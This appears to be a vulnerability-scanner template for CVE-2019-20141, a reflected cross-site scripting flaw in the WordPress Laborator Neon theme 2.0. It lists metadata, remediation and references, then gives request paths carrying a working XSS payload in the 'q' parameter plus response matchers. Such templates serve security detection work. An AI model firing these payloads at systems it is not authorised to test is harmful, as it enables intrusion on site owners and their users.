id: CVE-2019-20141

info:
  name: WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting
  author: knassar702
  severity: medium
  description: WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter.
  remediation: |
    Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability.
  reference:
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-xss-reflected.html
    - https://knassar702.github.io/cve/neon/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20141
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20141
    cwe-id: CWE-79
    epss-score: 0.00125
    epss-percentile: 0.47026
    cpe: cpe:2.3:a:laborator:neon:2.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: laborator
    product: neon
    framework: wordpress
  tags: cve2019,cve,xss,laborator,wordpress

http:
  - method: GET
    path:
      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"

      - type: word
        part: header
        words:
          - "text/html"
# digest: 490a0046304402205cea7b36d518cbc906e811b97824597769cc81e9cd5c290acc7693a32379a1f3022041eb3c8bf36a8c573594a8fb05f9f095fd691782ebb874eeae73312fbadd1c22:922c64590222798bb761d5b6d8e72950